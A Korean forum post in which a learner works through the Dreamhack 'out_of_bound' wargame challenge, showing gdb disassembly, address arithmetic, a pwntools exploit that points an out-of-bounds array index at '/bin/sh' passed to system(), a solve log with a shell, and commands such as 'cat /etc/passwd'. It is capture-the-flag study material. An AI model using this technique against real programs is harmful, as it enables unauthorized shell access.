자유게시판
시스템 해킹 EOF 에러 에서 오류가뜹니다. 문제 이름은 : out_of_bound

1번째
먼저 : ls -l
이걸로 디렉토리확인
이걸로 NX보호기법을 확인또는 해제
디렉토리 이동안하고 입력 그리고 추가로 32bit인지 64bit인지 맨위에 나옴
gdb (실행)
file rao (선택)
checksec ./out_of_bound (모든 보호기법 확인)
NX 해제방법
cd /usr/bin(선택사항)
execstack -s ./out_of_bound (그냥해도됨 나중엔)

모든 보안옵션해제
gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o out_of_bound out_of_bound.c

2번째
mov eax,DWORD PTR [eax*4+0x804a0ac]
뜻 : eax * 4 = 76
따라서 *command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고
command[idx] 이고 eax가 19가되고 그리고 그걸
뜻 : eax * 4 = 0x804a0ac

1번쨰 : gdb ./out_of_bound
2번쨰 : p &name 이랑 p &command (둘다하기) p &alarm_handler
3번쨰 : disassemble main (세부사항 실행)
4번쨰 : b *main + 119 (백포인트는 옆에 있는명령어 치면됨)
내결과물 Breakpoint : Breakpoint 1 at 0x8048742
pwndbg> r
Starting program: /home/os/Desktop/c/Users/쿠릉쿠릉쿠루루루/Documents/locate/03
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Admin name: /bin/sh
What do you want?: 19
https://haena02.tistory.com/99

<command와 name의 주소 확인 방법>
p &name 나온거 : 0x804a0ac
p &command 나온거 : 0x804a060
설명 : p &변수의주소 (주소확인)

$2 = (<text variable, no debug info> *) 0x80491f6 <alarm_handler>

find /home -name "out_of_bound"

설명:
command[idx] 이고 eax가 19가 되고
*command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고,
command[1]은 0x804a060 + 4 = 0x804a064의 주소에 저장되어 있는 값을 가집니다.
따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 저장되어 있는 값을 가리킵니다.
출처 : https://dreamhack.io/lecture/courses/594

즉 내껄로하면 (이해한부분적음)
*command = command[0] = 0x804a060 이건 이렇게되고 그리고 만약
command[1]은 0x804a060 + 4 = 0x804a064 일때
command[19] = 0x804a060 + 76일때 19는 4를 19번 곱한걸 0x804a064여기에 더한다는 의미가 담긴게 command[19]
이거이다 그리고 추가(보너스타임)로
0x804a060 + 17 = 0x804a071이걸했을때
17을 16진수로 바꾸면 0x11 된다 그러므로
60에11을 더하게됨

설명:
Payload 작성
name에 8바이트의 "/bin/sh\x00" 을 넣은 후, 그 뒤에 pwntools의 p32 함수를 사용해 만든 0x804a0ac를 붙여 총 12바이트를 저장합니다.

그렇게 되면 name + 8이 가지는 값이 0x804a0ac이 되게 되고, command[19 + 2] = *(name + 8) = 0x804a0ac 의 값을 가지게 됩니다.
system(0x804a0ac)을 실행하면 0x804a0ac 주소, 즉 name에 있는 "/bin/sh\x00"를 실행시킬 수 있게 됩니다.
전송해야 하는 idx의 값은 19가 아닌 19 + 2 = 21임에 유의하여 솔브 코드를 작성하겠습니다.

[+] Opening connection to host3.dreamhack.games on port 18187: Done
[*] Switching to interactive mode
Admin name: What do you want?: $ ls
flag
out_of_bound
$ cat flag
DH{정답}

...
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 __isoc99_scanf@plt
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 system@plt
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 __stack_chk_fail@plt
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
End of assembler dump.
pwndbg> b *main + 119
Breakpoint 1 at 0x8048742

제공된 C 프로그램 코드를 살펴보면, Admin name: 이라는 프롬프트가 사용자로부터 이름을
입력받는 용도로 사용되고 있음을 알 수 있습니다. 이 경우, /bin/sh라는 입력이 필요하거나 요구된 것은 아닙니다.
/bin/sh는 쉘의 표준 경로일 뿐이며, 이 코드에서는 직접적으로 사용되지 않습니다.
질문 : 쉘의 경로 확인방법
echo 명령어 사용
가장 간단하게 현재 로그인된 사용자의 쉘을 확인하는 방법입니다.
$SHELL 환경 변수는 사용자의 로그인 쉘을 저장하고 있습니다.
명령어 : echo $SHELL 또는 printenv SHELL
현재 : /bin/bash
which 명령어
특정 쉘의 실행 파일 위치를 찾고 싶을 때 사용할 수 있습니다. 예를 들어, bash 쉘의 경로를 찾고 싶다면:
명령어 : which bash
whereis 명령어
which 명령어와 유사하지만, 더 많은 정보(매뉴얼 페이지 위치, 소스 파일 위치 등)를 제공합니다.
명령어 : whereis bash
cat /etc/passwd
시스템에 등록된 모든 사용자의 쉘 정보를 포함하고 있는 /etc/passwd 파일을 확인할 수도 있습니다. 
이 파일에서 각 사용자의 로그인 쉘 정보를 확인할 수 있습니다.
명령어 : cat /etc/passwd
이 명령어를 실행하면 사용자 정보가 여러 필드로 구분되어 출력되며, 각 줄의 마지막 필드가
해당 사용자의 로그인 쉘을 나타냅니다.
사용자 이름 또는 특정 쉘을 쉽게 찾기 위해 grep을 함께 사용할 수 있습니다:
명령어 : cat /etc/passwd | grep bash

지금까지 보고 적고 이해한것도 적은건데 마지막 익스플로잇에서 막혔네요 ...
제가한건
from pwn import *

p = remote('host3.dreamhack.games', 19436)

name = 0x804a0ac
payload = p32(name + 0x4)
payload = b'/bin/sh\x00'

a1 = p.sendline(payload)
a1 = p.sendline(b"21")
a1 = p.interactive()
print(a1)

작성자 정보
자유게시판 다른 글
글 제목
작성자
추천
조회
작성일
C언어와 수학 [0]
asdf [4]
시스템 해킹 EOF 에러 에서 오류가뜹니다. 문제 이름은 : out_of_bound [0]
avatar
갈비찜밥위에 ?
대표 업적 없음
워게임 웹해킹 session-basic 문제 [0]
moi
대표 업적 없음
sk 쉴더스 루키즈 [0]
HJY
대표 업적 없음